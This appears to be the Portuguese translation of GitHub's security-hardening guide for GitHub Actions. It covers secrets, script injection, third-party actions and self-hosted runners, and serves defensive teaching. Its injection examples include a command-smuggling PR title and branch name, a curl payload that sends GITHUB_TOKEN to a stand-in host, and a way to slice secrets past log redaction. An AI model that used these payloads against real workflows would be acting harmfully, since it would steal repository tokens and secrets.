Fortalecimento de segurança para o GitHub Actions

Visão geral

Este guia explica como configurar o fortalecimento de segurança para certos recursos de GitHub Actions. Se não estiver familiarizado com os conceitos do GitHub Actions, confira Entendendo o GitHub Actions.

Usando segredos

Valores sensíveis nunca devem ser armazenados como texto simples em arquivos de fluxo de trabalho, mas como segredos. Os segredos podem ser configurados no nível de organização, repositório ou ambiente e permitem que você armazene informações confidenciais no GitHub.

Segredos usam caixas lacradas do Libsodium para que sejam criptografadas antes de chegar ao GitHub. Isso ocorre quando o segredo é enviado pela interface do usuário ou pela API REST. Esta criptografia do lado do cliente ajuda a minimizar os riscos relacionados ao registro acidental (por exemplo, registros de exceções e de solicitação, entre outros) dentro da infraestrutura do GitHub. Uma vez realizado o upload do segredo, o GitHub poderá descriptografá-lo para que possa ser injetado no tempo de execução do fluxo de trabalho.

Para ajudar a prevenir a divulgação acidental, o GitHub usa um mecanismo que tenta redigir quaisquer segredos que aparecem nos registros de execução. Essa edição procura correspondências exatas de quaisquer segredos configurados usados no trabalho, bem como codificações comuns dos valores, como Base64. No entanto, como há várias maneiras de transformar o valor de um segredo, essa anulação não é garantida. Além disso, o executor só pode editar segredos usados no trabalho atual. Como resultado, existem certas etapas proativas e boas práticas que você deve seguir para ajudar a garantir que os segredos sejam editados, e para limitar outros riscos associados aos segredos:

• Nunca usar dados estruturados como um segredo
  • Os dados estruturados podem fazer com que ocorra uma falha nos registros de segredos, pois a redação depende, em grande parte, de encontrar uma correspondência exata para o valor específico do segredo. Por exemplo, não use um blob de JSON, XML, ou YAML (ou similar) para encapsular o valor de um segredo, já que isso reduz significativamente a probabilidade de os segredos serem devidamente redigidos. Em vez disso, crie segredos individuais para cada valor sensível.
• Registrar todos os segredos usados nos fluxos de trabalho
  • Se um segredo for usado para gerar outro valor confidencial em um fluxo de trabalho, esse valor gerado deverá ser formalmente registrado como um segredo, para que seja editado se aparecer nos logs. Por exemplo, se, ao usar uma chave privada para gerar um JWT assinado para acessar uma API web, certifique-se de registrar que JWT é um segredo ou não será redigido se entrar na saída de do registro.
  • O registro de segredos também aplica-se a qualquer tipo de transformação/codificação. Se seu segredo foi transformado de alguma forma (como Base64 ou URL codificada), certifique-se de registrar o novo valor como um segredo também.
• Auditar a forma como os segredos são tratados
  • Audite como os segredos são usados, para ajudar a garantir que estejam sendo tratados conforme o esperado. Você pode fazer isso revisando o código-fonte do repositório que executa o fluxo de trabalho e verificando quaisquer ações usadas no fluxo de trabalho. Por exemplo, verifique se eles não são enviados para hosts não pretendidos, ou impressos explicitamente na saída de um registro.
  • Visualize os registros de execução do seu fluxo de trabalho depois de testar entradas válidas/inválidas e, em seguida, verifique se os segredos estão sendo editados corretamente ou não são mostrados. Nem sempre é óbvio como um comando ou uma ferramenta que você está invocando enviará erros para STDOUT e STDERR, e os segredos podem acabar nos logs de erros. Como resultado, considera-se uma boa prática rever manualmente os registros do fluxo de trabalho depois de testar entradas válidas e inválidas. Para obter informações sobre como limpar logs de fluxo de trabalho que podem conter dados confidenciais involuntariamente, consulte Usando logs de execução de fluxo de trabalho.
• Usar credenciais que têm escopo mínimo
  • Certifique-se de que as credenciais usadas nos fluxos de trabalho têm o menor privilégio necessário e esteja ciente de que qualquer usuário com acesso de gravação ao repositório terá acesso de leitura a todos os segredos configurados no seu repositório.
  • O Actions pode usar o GITHUB_TOKEN acessando-o no contexto github.token. Para saber mais, confira Acessar informações contextuais sobre execuções de fluxo de trabalho. Portanto, você deve verificar se o GITHUB_TOKEN recebeu as permissões mínimas necessárias. É uma boa prática de segurança definir a permissão padrão para o GITHUB_TOKEN como somente acesso de leitura no conteúdo do repositório. As permissões podem ser aumentadas, conforme necessário, para tarefas individuais dentro do arquivo do fluxo de trabalho. Para saber mais, confira Autenticação automática de token.
• Auditar e girar os segredos registrados
  • Reveja, periodicamente, os segredos registrados para confirmar se ainda são necessários. Remova aqueles que não são mais necessários.
  • Gire os segredos periodicamente para reduzir a janela de tempo durante a qual um segredo comprometido é válido.
• Considerar a necessidade de revisão para acesso a segredos
  • Você pode usar revisores necessários para proteger os segredos do ambiente. Um trabalho de fluxo de trabalho não pode acessar segredos de ambiente até que a aprovação seja concedida por um revisor. Para obter mais informações sobre como armazenar segredos em ambientes ou exigir revisões de ambientes, confira Usar segredos em ações do GitHub e Gerenciar ambientes para implantação.

Como usar CODEOWNERS para monitorar alterações

Use o recurso CODEOWNERS para controlar como são feitas alterações nos seus arquivos de fluxo de trabalho. Por exemplo, se todos os arquivos de fluxo de trabalho forem armazenados em .github/workflows, você poderá adicionar esse diretório à lista de proprietários do código, de modo que todas as alterações propostas nesses arquivos exijam primeiro a aprovação de um revisor designado.

Para saber mais, confira Sobre os proprietários de código.

Entendendo o risco de injeções de script

Ao criar fluxos de trabalho, ações personalizadas e ações compostas, você sempre deve considerar se o seu código pode executar entradas não confiáveis de invasores. Isso pode ocorrer quando um invasor adiciona comandos maliciosos e scripts em um contexto. Quando seu fluxo de trabalho é executado, essas strings podem ser interpretadas como código que é executado no executado.

Os invasores podem adicionar um conteúdo próprio mal-intencionado ao contexto github, que deve ser tratado como uma entrada potencialmente não confiável. Esses contextos geralmente terminam com body, default_branch, email, head_ref, label, message, name, page_name,ref e title. Por exemplo: github.event.issue.title ou github.event.pull_request.body.

Você deve garantir que esses valores não fluam diretamente para fluxos de trabalho, ações, chamadas de API ou para qualquer outro lugar onde possam ser interpretados como código executável. Ao adotar a mesma postura defensiva de programação que você adotaria para qualquer outro código privilegiado do aplicativo, você pode ajudar a melhorar a segurança do seu uso de GitHub Actions. Para obter mais informações sobre algumas das etapas que um invasor pode executar, confira Fortalecimento de segurança para o GitHub Actions.

Além disso, há outras fontes menos óbvias de entrada potencialmente não confiável como, por exemplo, nomes de branches e endereços de e-mail, que podem ser bastante flexíveis em termos de conteúdo permitido. Por exemplo, zzz";echo${IFS}"hello";# será um nome de branch válido e um possível vetor de ataque em um repositório de destino.

As seções a seguir explicam como você pode ajudar a mitigar o risco de injeção de scripts.

Exemplo de um ataque de injeção de script

Um ataque de injeção de script pode ocorrer diretamente dentro do script embutido de um fluxo de trabalho. No exemplo a seguir, uma ação usa uma expressão para testar a validade de um título de pull request mas também adiciona o risco de injeção de script:

      - name: Check PR title
        run: |
          title="${{ github.event.pull_request.title }}"
          if [[ $title =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Este exemplo é vulnerável à injeção do script porque o comando run é executado dentro de um script de shell temporário no executor. Antes que o script de shell seja executado, as expressões dentro de ${{ }} são avaliadas e substituídas pelos valores resultantes, o que pode torná-lo vulnerável à injeção de comando do shell.

Para injetar comandos neste fluxo de trabalho, o invasor pode criar uma solicitação de pull com o título a"; ls $GITHUB_WORKSPACE":

Neste exemplo, o caractere " é usado para interromper a instrução title="${{ github.event.pull_request.title }}", permitindo que o comando ls seja executado no executor. Você poderá ver a saída do comando ls no log:

Run title="a"; ls $GITHUB_WORKSPACE""
README.md
code.yml
example.js

Práticas recomendadas para mitigar ataques de injeção de script

Há uma série de diferentes abordagens disponíveis para ajudar você a mitigar o risco de injeção de script:

Usando uma ação em vez de um script em linha (recomendado)

A abordagem recomendada é criar uma ação JavaScript que processa o valor do contexto como um argumento. Essa abordagem não é vulnerável ao ataque de injeção, pois o valor do contexto não é usado para gerar um script do shell, mas é passado para a ação como um argumento:

uses: fakeaction/checktitle@v3
with:
    title: ${{ github.event.pull_request.title }}

Usando uma variável de ambiente intermediária

Para scripts em linha, a abordagem preferida para manipular entradas não confiáveis é definir o valor da expressão para uma variável de ambiente intermediário.

O seguinte exemplo usa o Bash para processar o valor github.event.pull_request.title como uma variável de ambiente:

      - name: Check PR title
        env:
          TITLE: ${{ github.event.pull_request.title }}
        run: |
          if [[ "$TITLE" =~ ^octocat ]]; then
          echo "PR title starts with 'octocat'"
          exit 0
          else
          echo "PR title did not start with 'octocat'"
          exit 1
          fi

Neste exemplo, a tentativa de injeção de script não é bem-sucedida, o que é refletido pelas seguintes linhas no log:

   env:
     TITLE: a"; ls $GITHUB_WORKSPACE"
PR title did not start with 'octocat'

Com esta abordagem, o valor da expressão ${{ github.event.issue.title }} é armazenado na memória e usada como uma variável e não interage com o processo de geração de script. Além disso, considere o uso de variáveis de shell de aspas duplas para evitar a divisão de palavras, mas essa é uma das muitas recomendações gerais para escrita de scripts de shell e não é específica do GitHub Actions.

Usando modelos de fluxo de trabalho para o code scanning

Para saber mais, confira Sobre a varredura de código e Como definir a configuração avançada para verificação de código.

Restringir permissões para tokens

Para ajudar a mitigar o risco de um token exposto, considere restringir as permissões atribuídas. Para saber mais, confira Autenticação automática de token.

Usando o OpenID Connect para acessar os recursos da nuvem

Se os seus fluxos de trabalho de GitHub Actions tiverem de acessar recursos de um provedor de nuvem compatível com o OpenID Connect (OIDC), você poderá configurar seus fluxos de trabalho para efetuar a autenticção diretamente no provedor de nuvem. Isso permitirá que você pare de armazenar essas credenciais como segredos de longa duração e proporcione outros benefícios de segurança. Para obter mais informações, confira "Sobre o enrijecimento de segurança com o OpenID Connect".

Usando ações de terceiros

Os trabalhos individuais em fluxo de trabalho podem interagir com (e comprometer) outros trabalhos. Por exemplo, um trabalho que consulta as variáveis de ambiente usadas por um trabalho posterior, que escreve arquivos para um diretório compartilhado que um trabalho posterior processa, ou ainda mais diretamente, que interage com o conector do Docker e inspeciona outros contêineres em execução e executa comandos neles.

Isso significa que comprometer uma só ação em um fluxo de trabalho pode ser muito significativo, pois essa ação comprometida terá acesso a todos os segredos configurados no repositório e poderá usar o GITHUB_TOKEN para fazer gravações no repositório. Consequentemente, há um risco significativo em fornecer de ações de repositórios de terceiros no GitHub. Para obter mais informações sobre algumas das etapas que um invasor pode executar, confira Fortalecimento de segurança para o GitHub Actions.

Você pode ajudar a mitigar esse risco seguindo estas boas práticas:

• Fixar as ações em um SHA de commit de comprimento completo

  Fixar uma ação para um commit SHA de comprimento completo é, atualmente, a única maneira de usar uma ação como uma versão imutável. Fixar um SHA em particular ajuda a mitigar o risco de um ator malicioso adicionar uma porta traseira ao repositório da ação, porque precisariam gerar uma colisão de SHA-1 para uma carga válida do objeto de Git. Ao selecionar um SHA, verifique se ele está no repositório da ação e não em uma bifurcação do repositório.

• Auditar o código-fonte da ação

  Certifique-se de que a ação está tratando o conteúdo do seu repositório e os segredos, como esperado. Por exemplo, verifique se os segredos não são enviados para os hosts não intencionais, ou se não são registrados inadvertidamente.

• Fixar ações em uma marca somente se você confiar no criador

  Embora a fixação de um commit de SHA seja a opção mais segura, especificar uma etiqueta é a opção mais conveniente, além de ser amplamente usada. Se você desejar de especificar uma etiqueta, certifique-se de que você confia nos criadores da ação. O selo "Criador verificado" em GitHub Marketplace é um sinal útil, já que indica que a ação foi escrita por uma equipe cuja identidade foi verificada por GitHub. Observe que há risco para esta abordagem, mesmo que você confie no autor, porque uma etiqueta pode ser movida ou excluída se um ator malicioso obtiver acesso ao repositório que armazena a ação.

Reutilizando fluxos de trabalho de terceiros

Os mesmos princípios descritos acima para o uso de ações de terceiros também se aplicam ao uso de fluxos de trabalho de terceiros. Você pode ajudar a mitigar os riscos associados à reutilização de fluxos de trabalho, seguindo as mesmas práticas recomendadas descritas acima. Para saber mais, confira Reutilizar fluxos de trabalho.

Usar Dependabot version updates para manter as ações atualizadas

Você pode usar o Dependabot para garantir que as referências a ações e a fluxos de trabalho reutilizáveis usados no seu repositório sejam mantidas atualizadas. Ações são frequentemente atualizadas com correções de bugs e novos recursos para tornar os processos automatizados mais rápidos, seguros e confiáveis. O Dependabot reduz o seu esforço para manter dependências, pois ele faz isso automaticamente para você. Para obter mais informações, confira "Manter as suas ações atualizadas com o Dependabot" e "Sobre as atualizações de segurança do Dependabot."

Como impedir que GitHub Actions crie ou aprove solicitações de pull

Você pode optar por permitir ou impedir que fluxos de trabalho do GitHub Actions do criem ou aprovem solicitações de pull. Permitir que os fluxos de trabalho ou qualquer outra automação criem ou aprovem pull requests pode ser um risco de segurança se o pull request for mesclado sem a devida supervisão.

Para obter mais informações sobre como definir essa configuração, consulte Desabilitando ou limitando GitHub Actions para sua organização e Gerenciando as configurações do GitHub Actions para um repositório.

Usando os Scorecards OpenSSF para proteger fluxos de trabalho

O Scorecards é uma ferramenta de segurança automatizada que sinaliza as práticas suspeitas da cadeia de fornecedores. Você poderá usar a ação Scorecards e o modelo de fluxo de trabalho para seguir as melhores práticas de segurança. Uma vez configurada, a ação Scorecards é executada automaticamente nas alterações de repositórios e alerta de desenvolvedores sobre práticas arriscadas em cadeia de suprimentos que usam a experiência de code scanning. O projeto Scorecards executa um número de verificações, incluindo ataques de injeção de script, permissões de token e ações fixadas.

Possível impacto de um executor comprometido

Essas seções consideram alguns das etapas que um invasor pode dar se for capaz de executar comandos maliciosos em um executor de GitHub Actions.

Acessar segredos

Os fluxos de trabalho de um repositório com forks usando o evento pull_request têm permissões somente leitura e não tem acesso aos segredos. No entanto, essas permissões são diferentes para vários gatilhos de evento, como issue_comment, issues, push e pull_request de uma ramificação no repositório, em que o invasor pode tentar roubar segredos do repositório ou usar a permissão de gravação do GITHUB_TOKEN do trabalho.

• Se o segredo ou o token for definido como uma variável de ambiente, ele poderá ser acessado diretamente por meio do ambiente com printenv.

• Se o segredo for usado diretamente em uma expressão, o script do shell gerado é armazenado em disco e é acessível.

• Para uma ação personalizada, o risco pode variar dependendo de como um programa está usando o segredo que obteve do argumento:

  uses: fakeaction/publish@v3
  with:
      key: ${{ secrets.PUBLISH_KEY }}
  

Embora o GitHub Actions remova os segredos da memória que não estão referenciados no fluxo de trabalho (ou em uma ação incluída), o GITHUB_TOKEN e todos os segredos referenciados podem ser coletados por um invasor determinado.

Exfiltrar dados de um executor

Um invasor pode exfiltrar todos os segredos roubados ou outros dados do executor. Para ajudar a impedir a divulgação acidental de segredos, o GitHub Actions edita automaticamente os segredos editados impressos no log, mas esse não é um verdadeiro limite de segurança, porque os segredos podem ser enviados intencionalmente para o log. Por exemplo, os segredos ocultados podem ser exportados por meio de echo ${SOME_SECRET:0:4}; echo ${SOME_SECRET:4:200};. Além disso, uma vez que o atacante pode executar comandos arbitrários, ele poderá usar solicitações HTTP para enviar segredos ou outros dados do repositório para um servidor externo.

Roubo do GITHUB_TOKEN do trabalho

É possível que um invasor roube o GITHUB_TOKEN de um trabalho. O executor do GitHub Actions recebe automaticamente um GITHUB_TOKEN gerado com permissões limitadas apenas ao repositório que contém o fluxo de trabalho, e o token vence após a conclusão do trabalho. Uma vez expirado, o token não é mais útil para um invasor. Para resolver essa limitação, ele pode automatizar o ataque e executá-lo em frações de segundos chamando um servidor controlado pelo invasor com o token, por exemplo: a"; set +e; curl http://example.com?token=$GITHUB_TOKEN;#

Modificando os conteúdos de um repositório

O servidor do invasor pode usar a API do GitHub para modificar o conteúdo do repositório, incluindo as versões, se as permissões atribuídas do GITHUB_TOKEN não forem restritas.

Considerar acesso entre repositórios

O GitHub Actions tem um escopo intencional para um único repositório por vez. O GITHUB_TOKEN permite o mesmo nível de acesso que um usuário com acesso de gravação, porque qualquer usuário com acesso de gravação pode acessar esse token criando ou modificando um arquivo de fluxo de trabalho, elevando as permissões do GITHUB_TOKEN se necessário. Os usuários têm permissões específicas para cada repositório. Portanto, permitir que o GITHUB_TOKEN de um repositório permita acesso a outro causará um impacto no modelo de permissão do GitHub se isso não for implementado com cuidado. Da mesma forma, deve-se ter cuidado ao adicionar tokens de autenticação de GitHub a um fluxo de trabalho, porque isto também pode afetar o modelo de permissão de GitHub concedendo inadvertidamente amplo acesso aos colaboradores.

Se a sua organização for propriedade de uma conta corporativa, você poderá compartilhar e reutilizar GitHub Actions armazenando-as em repositórios internos. Para saber mais, confira Compartilhando ações e fluxos de trabalho com sua empresa.

Você pode realizar outras interações privilegiadas entre repositórios fazendo referência a um token de autenticação GitHub ou a uma chave SSH como um segredo no fluxo de trabalho. Uma vez que muitos tipos de token de autenticação não permitem acesso granular a recursos específicos, há um risco significativo no uso do tipo incorreto de token, pois ele pode conceder acesso muito mais amplo do que o pretendido.

Esta lista descreve as abordagens recomendadas para acessar os dados do repositório dentro de um fluxo de trabalho, em ordem decrescente de preferência:

1. O GITHUB_TOKEN
   • Esse token tem o escopo intencionalmente definido para o repositório único que invocou o fluxo de trabalho e pode ter o mesmo nível de acesso que um usuário com acesso de gravação no repositório. O token é criado antes de cada trabalho começar e expira quando o trabalho é finalizado. Para saber mais, confira Autenticação automática de token.
   • O GITHUB_TOKEN deve ser usado sempre que possível.
2. Chave de implantação do repositório
   • Chaves de implantação são um dos únicos tipos de credenciais que concedem acesso de leitura ou gravação a um único repositório, e podem ser usadas para interagir com outro repositório dentro de um fluxo de trabalho. Para saber mais, confira Gerenciar chaves de implantação.
   • Observe que as chaves de implantação só podem clonar e fazer push para o repositório usando o Git, e não podem ser usada para interagir com a API REST ou o GraphQL. Portanto, elas podem não ser apropriadas para os suas necessidades.
3. Tokens do GitHub App
   • GitHub Apps podem ser instalados em repositórios selecionados e até mesmo ter permissões granulares nos recursos dentro deles. É possível criar um GitHub App interno na sua organização, instalá-lo nos repositórios os quais você precisa acessar dentro do seu fluxo de trabalho, e autenticar como instalação dentro de seu fluxo de trabalho para acessar esses repositórios. Para saber mais, confira Fazer solicitações de API autenticadas com um Aplicativo do GitHub em um fluxo de trabalho do GitHub Actions.
4. personal access tokens
   • Você nunca deve usar um personal access token (classic). Esses tokens concedem acesso a todos os repositórios nas organizações às quais você tem acesso, bem como a todos os repositórios pessoais na sua conta pessoal. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho.
   • Se você usar um personal access token, nunca deverá usar um personal access token da própria conta. Se você deixar uma organização mais adiante, os fluxos de trabalho que usam este token falharão imediatamente e a depuração deste problema pode ser difícil. Em vez disso, você deve usar um fine-grained personal access token para uma nova conta que pertença à sua organização e só recebeu acesso aos repositórios específicos necessários para o fluxo de trabalho. Observe que esta abordagem não é escalável e deve ser evitada em detrimento de alternativas, como as chaves de implantação.
5. Chaves SSH em uma conta pessoal
   • Os fluxos de trabalho nunca devem usar as chaves SSH em uma conta pessoal. Semelhante a personal access tokens (classic), eles concedem permissões de leitura/gravação a todos os seus repositórios pessoais, bem como a todos os repositórios aos quais você tem acesso por meio da associação à organização. Isto concede indiretamente amplo acesso a todos os usuários com acesso de gravação do repositório no qual se encontra o fluxo de trabalho. Se você pretende usar uma chave SSH porque você só precisa executar clones ou push do repositório, e não precisar interagir com APIs públicas, você deverá usar chaves de implantação individuais.

Proteção para executores hospedados pelo GitHub

Os executores hospedados pelo GitHub tomam medidas para ajudar você a reduzir os riscos de segurança.

Como revisar a supply chain para GitHub-hosted runners

Para executores hospedados pela GitHub criados a partir de imagens mantidas pela GitHub, você pode exibir uma lista de materiais de software (SBOM) para ver qual software foi pré-instalado no runner. Você pode fornecer a SBOM aos usuários, e eles podem executá-la por meio de um verificador de vulnerabilidades, que pode validar se há vulnerabilidades no produto. Se você estiver criando artefatos, poderá incluir essa SBOM na sua lista de materiais para obter uma lista completa de tudo o que foi feito para criar o software.

SBOMs estão disponíveis para imagens de executores Ubuntu, Windows e macOS, mantidas pela GitHub. Você pode localizar a SBOM do seu build nos ativos de versão, em https://github.com/actions/runner-images/releases. Uma SBOM com um nome de arquivo em formato de sbom.IMAGE-NAME.json.zip pode ser encontrada nos anexos de cada versão.

Para imagens de terceiros, como as imagens para corredores com ARM, você pode encontrar detalhes do software incluído na imagem no repositório do actions/partner-runner-images.

Negar acesso a hosts

Os executores hospedados pelo GitHub são provisionados com um arquivo etc/hosts que bloqueia o acesso à rede a vários pools de mineração de criptomoedas e sites mal-intencionados. Hosts como MiningMadness.com e cpu-pool.com são redirecionados para localhost para que não apresentem um risco de segurança significativo. Para obter mais informações, confira Usar executores hospedados no GitHub.

Fortalecimento para executores auto-hospedados

Os executores hospedados pelo GitHub executam o código em máquinas virtuais isoladas efêmeras e limpas. Ou seja, não é possível comprometer de maneira persistente este ambiente ou obter, de outro modo, acesso a mais informações do que foram colocadas no ambiente durante o processo de inicialização.

Os executores Auto-hospedados do GitHub não fornecem garantias de serem executados em máquinas virtuais efêmeras e limpas e podem ser comprometidos de maneira persistente por um código não confiável em um fluxo de trabalho.

Como resultado, os executores auto-hospedados quase nunca devem ser usados para repositórios públicos no GitHub, porque qualquer usuário pode abrir solicitações de pull no repositório e comprometer o ambiente. Da mesma forma,tenha cuidado ao usar executores auto-hospedados em repositórios privados ou internos, pois qualquer pessoa que possa criar um fork do repositório e abrir uma solicitação de pull (geralmente aqueles com acesso de leitura no repositório) pode comprometer o ambiente do executor auto-hospedado, incluindo a obtenção do acesso a segredos e ao GITHUB_TOKEN que, dependendo das configurações, pode permitir o acesso de gravação no repositório. Embora os fluxos de trabalho possam controlar o acesso a segredos de ambiente usando os ambientes e revisões necessários, estes fluxos de trabalho não são executados em um ambiente isolado e continuam sendo susceptíveis aos mesmos riscos quando são executados por um executor auto-hospedado.

Proprietários de organizaçõespodem escolher que repositórios têm permissão para criar executores auto-hospedados no nível do repositório. .

Para obter mais informações, confira "Desabilitar ou limitar o GitHub Actions para sua organização".

Quando um executor auto-hospedado é definido no nível da organização ou empresa, GitHub pode programar fluxos de trabalho de vários repositórios para o mesmo executor. Consequentemente, um compromisso de segurança destes ambientes pode ter um grande impacto. Para ajudar a reduzir o escopo de um compromisso, você pode criar limites organizando seus executores auto-hospedados em grupos separados. Você pode restringir os organizações e os repositórios que podem acessar os grupos de executores. Para saber mais, confira Gerenciar o acesso a executores auto-hospedados usando grupos.

Você também deve considerar o ambiente das máquinas de executores auto-hospedadas:

• Que informação sensível reside na máquina configurada como um executor auto-hospedado? Por exemplo, chaves SSH privadas, tokens de acesso à API, entre outros.
• A máquina tem acesso à rede a serviços sensíveis? Por exemplo, serviços de metadados do Azure ou AWS. A quantidade de informações confidenciais neste ambiente deve ser limitada ao mínimo, e você deve estar sempre ciente de que qualquer usuário capaz de invocar fluxos de trabalho terá acesso a esse ambiente.

Alguns clientes podem tentar mitigar parcialmente esses riscos implementando sistemas que destroem automaticamente o executor auto-hospedado após cada execução do trabalho. No entanto, esta abordagem poderá não ser tão eficaz como pretendido, uma vez que não há forma de garantir que um executor auto-hospedado execute apenas um trabalho. Alguns trabalhos usarão segredos como argumentos de linha de comando que podem ser vistos por outro trabalho em execução no mesmo executor, como ps x -w. Isso pode gerar vazamento de segredos.

Usar os executores just-in-time

Para melhorar a segurança de registro do executor, você pode usar a API REST para criar executores JIT (just-in-time) efêmeros. Esses executores auto-hospedados executam no máximo um trabalho antes de serem removidos automaticamente do repositório, da organização ou da empresa. Para obter mais informações sobre como configurar executores JIT, confira Pontos de extremidade da API REST para executores auto-hospedados.

Assim que tiver o arquivo de configuração da resposta da API REST, você poderá passá-lo para o executor na inicialização.

./run.sh --jitconfig ${encoded_jit_config}

Planejando sua estratégia de gerenciamento para executores auto-hospedados

Um executor auto-hospedado pode ser adicionado aos vários níveis na sua hierarquia de GitHub: empresa, organização ou repositório. Este posicionamento determina quem será poderá de gerenciar o executor:

Gerenciamento centralizado:

• Se você planeja ter uma equipe centralizada que detém os executores auto-hospedados, recomenda-se adicionar seus executores ao nível mais alto da organização mútua ou da empresa. Isto fornece à sua equipe um único local para visualizar e gerenciar seus executores.
• Se você tiver apenas uma única organização, adicionar seus executores ao nível da organização é, de fato, a mesma abordagem, mas você pode encontrar dificuldades se você adicionar outra organização no futuro.

Gerenciamento descentralizado:

• Se cada equipe gerenciar seus próprios corredores hospedados, a recomendação será adicionar os executores ao mais alto nível de propriedade da equipe. Por exemplo, se cada equipe possui sua própria organização, será mais simples se os executores também forem adicionados ao nível da organização.
• Você também pode adicionar executores no nível de repositório, mas isso adicionará uma sobrecarga de gerenciamento e também aumentará o número de executores necessários já que você não pode compartilhar executores entre repositórios.

Efetuando a autenticação para seu provedor de nuvem

Se você está usando GitHub Actions para implantar para um provedor da nuvem, ou pretender usar o HashiCorp Vault para o gerenciamento de segredos, recomenda-se que você use o OpenID Connect para criar tokens de acesso com escopos bem definidos, curtos e para as execuções do seu fluxo de trabalho. Para saber mais, confira Sobre o enrijecimento de segurança com o OpenID Connect.

Auditar eventos de GitHub Actions

Você pode usar o log de segurança para monitorar a atividade da conta de usuário e o log de auditoria para monitorar a atividade da organização. Os logs de segurança e auditoria registram o tipo de ação, quando ela foi executada e qual conta pessoal a executou.

Por exemplo, você pode usar o log de auditoria para acompanhar o evento org.update_actions_secret, que controla as alterações nos segredos da organização.

Para obter a lista completa de eventos que você pode encontrar no log de auditoria de cada tipo de conta, confira os seguintes artigos:

• Eventos do log de segurança
• Eventos de log de auditoria para sua organização